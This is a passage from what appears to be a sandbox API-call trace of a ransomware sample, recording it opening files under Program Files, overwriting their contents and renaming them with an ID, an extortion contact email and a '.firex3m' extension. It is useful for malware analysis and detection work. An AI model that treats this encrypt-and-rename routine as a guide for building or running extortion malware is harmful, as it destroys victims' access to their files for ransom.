Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93b5b0aa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d4f00 [0227.175] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0227.175] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\vi-vn\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0227.176] GetProcessHeap () returned 0x630000 [0227.176] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9081) returned 0x72f0a48 [0227.176] GetProcessHeap () returned 0x630000 [0227.176] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9081) returned 0x72f9ad8 [0227.176] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.176] ReadFile (in: hFile=0x4e4, lpBuffer=0x72f0a48, nNumberOfBytesToRead=0x9060, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72f0a48*, lpNumberOfBytesRead=0x6d7ff0c*=0x9060, lpOverlapped=0x0) returned 1 [0232.429] GetProcessHeap () returned 0x630000 [0232.429] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176d40 [0232.430] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.430] WriteFile (in: hFile=0x4e4, lpBuffer=0x72f9ad8*, nNumberOfBytesToWrite=0x9060, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72f9ad8*, lpNumberOfBytesWritten=0x6d7ff0c*=0x9060, lpOverlapped=0x0) returned 1 [0233.392] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.393] WriteFile (in: hFile=0x4e4, lpBuffer=0x7302b37*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7302b37*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0234.402] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.402] WriteFile (in: hFile=0x4e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0234.402] CloseHandle (hObject=0x4e4) returned 1 [0234.402] GetProcessHeap () returned 0x630000 [0234.402] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72f9ad8 | out: hHeap=0x630000) returned 1 [0234.403] GetProcessHeap () returned 0x630000 [0234.403] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72f0a48 | out: hHeap=0x630000) returned 1 [0234.403] GetProcessHeap () returned 0x630000 [0234.403] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176d40 | out: hHeap=0x630000) returned 1 [0235.562] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\vi-VN\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x93b5b0aa, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x51a8b35f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9092, dwReserved0=0x9f87496, dwReserved1=0x72f0a40, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d52c0 [0235.563] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0235.563] Sleep (dwMilliseconds=0x1) [0235.580] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\index.html", len=0x6f | out: pbstr=0x6d7ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\index.html") returned 1 [0235.580] GetProcessHeap () returned 0x630000 [0235.580] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5008) returned 0x6fe3bb0 [0235.580] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-my\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0235.614] CloseHandle (hObject=0x6cc) returned 1 [0235.615] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.615] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-my\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-my\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.758] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.758] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fc6c | out: lpFindFileData=0x6d7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5540 [0235.973] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0236.014] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-my\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0236.014] GetProcessHeap () returned 0x630000 [0236.014] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9081) returned 0x746bd68 [0236.015] GetProcessHeap () returned 0x630000 [0236.015] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9081) returned 0x7474df8 [0236.015] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.015] ReadFile (in: hFile=0x6a8, lpBuffer=0x746bd68, nNumberOfBytesToRead=0x9060, lpNumberOfBytesRead=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x746bd68*, lpNumberOfBytesRead=0x6d7ff0c*=0x9060, lpOverlapped=0x0) returned 1 [0242.067] GetProcessHeap () returned 0x630000 [0242.067] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745c300 [0242.068] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.068] WriteFile (in: hFile=0x6a8, lpBuffer=0x7474df8*, nNumberOfBytesToWrite=0x9060, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7474df8*, lpNumberOfBytesWritten=0x6d7ff0c*=0x9060, lpOverlapped=0x0) returned 1 [0242.068] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.068] WriteFile (in: hFile=0x6a8, lpBuffer=0x747de57*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x747de57*, lpNumberOfBytesWritten=0x6d7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0242.068] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.068] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6d7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6d7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0242.068] CloseHandle (hObject=0x6a8) returned 1 [0242.068] GetProcessHeap () returned 0x630000 [0242.068] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7474df8 | out: hHeap=0x630000) returned 1 [0242.068] GetProcessHeap () returned 0x630000 [0242.068] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x746bd68 | out: hHeap=0x630000) returned 1 [0242.069] GetProcessHeap () returned 0x630000 [0242.069] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745c300 | out: hHeap=0x630000) returned 1 [0243.185] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6d7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.185] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6d7fcc4 | out: lpFindFileData=0x6d7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x563bc3e4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9092, dwReserved0=0x9f87496, dwReserved1=0x746bd60, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d54c0 [0243.185] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0243.185] Sleep (dwMilliseconds=0x1) [0243.194] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Icon.targetsize-16.png", len=0x7d | out: pbstr=0x6d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Icon.targetsize-16.png") returned 1 [0243.194] GetProcessHeap () returned 0x630000 [0243.194] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52cc) returned 0x6fe3bb0 [0243.194] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Icon.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\icon.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.213] Sleep (dwMilliseconds=0x1) [0243.245] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Icon.targetsize-32.png", len=0x8c | out: pbstr=0x6d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Icon.targetsize-32.png") returned 1 [0243.245] GetProcessHeap () returned 0x630000 [0243.245] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x523c) returned 0x6fe3bb0 [0243.245] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Icon.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-black\\icon.targetsize-32.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.246] Sleep (dwMilliseconds=0x1) [0243.260] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Wave.png", len=0x6e | out: pbstr=0x6d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Wave.png") returned 1 [0243.260] GetProcessHeap () returned 0x630000 [0243.260] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51fc) returned 0x6fe3bb0 [0243.261] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Wave.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\wave.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.270] Sleep (dwMilliseconds=0x1) [0243.293] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\heart.png", len=0x6f | out: pbstr=0x6d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\heart.png") returned 1 [0243.293] GetProcessHeap () returned 0x630000 [0243.294] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5194) returned 0x6fe3bb0 [0243.294] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\heart.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\heart.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.301] Sleep (dwMilliseconds=0x1) [0243.320] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\DashboardDefaultThumbnail.png", len=0x84 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\DashboardDefaultThumbnail.png") returned 1 [0243.320] GetProcessHeap () returned 0x630000 [0243.320] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5148) returned 0x6fe3bb0 [0243.320] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\DashboardDefaultThumbnail.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\dashboarddefaultthumbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.321] Sleep (dwMilliseconds=0x1) [0243.331] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\DashboardDefaultThumbnail.png", len=0x84 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\DashboardDefaultThumbnail.png") returned 1 [0243.331] GetProcessHeap () returned 0x630000 [0243.332] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5144) returned 0x6fe3bb0 [0243.332] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\DashboardDefaultThumbnail.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\dashboarddefaultthumbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.335] Sleep (dwMilliseconds=0x1) [0243.354] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-125_contrast-black.png", len=0x7b | out: pbstr=0x6d7ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-125_contrast-black.png") returned 1 [0243.354] GetProcessHeap () returned 0x630000 [0243.354] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50c0) returned 0x6fe3bb0 [0243.354] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-125_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittermedtile.scale-125_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.354] Sleep (dwMilliseconds=0x1) [0243.363] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-125.png", len=0x6c | out: pbstr=0x6d7ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-125.png") returned 1 [0243.363] GetProcessHeap () returned 0x630000 [0243.363] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50bc) returned 0x6fe3bb0 [0243.363] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-125.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittermedtile.scale-125.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.363] Sleep (dwMilliseconds=0x1) [0243.400] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-96_altform-unplated.png", len=0x81 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-96_altform-unplated.png") returned 1 [0243.400] GetProcessHeap () returned 0x630000 [0243.400] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x502c) returned 0x6fe3bb0 [0243.400] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-96_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-96_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.401] Sleep (dwMilliseconds=0x1) [0243.410] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-96.png", len=0x70 | out: pbstr=0x6d7ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-96.png") returned 1 [0243.410] GetProcessHeap () returned 0x630000 [0243.410] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5028) returned 0x6fe3bb0 [0243.410] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-96.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-96.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.410] Sleep (dwMilliseconds=0x1) [0243.431] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-32_contrast-white.png", len=0x7f | out: pbstr=0x6d7ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-32_contrast-white.png") returned 1 [0243.431] GetProcessHeap () returned 0x630000 [0243.431] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fb4) returned 0x6fe3bb0 [0243.431] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-32_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-32_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.431] Sleep (dwMilliseconds=0x1) [0243.442] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-32_contrast-black.png", len=0x7f | out: pbstr=0x6d7ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-32_contrast-black.png") returned 1 [0243.442] GetProcessHeap () returned 0x630000 [0243.442] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fb0) returned 0x6fe3bb0 [0243.442] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-32_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-32_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.443] Sleep (dwMilliseconds=0x1) [0243.507] SysReAllocStringLen (in: pbstr=0x6d7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.scale-150_contrast-white.png", len=0x7b | out: pbstr=0x6d7ff7c*="C:\\Program 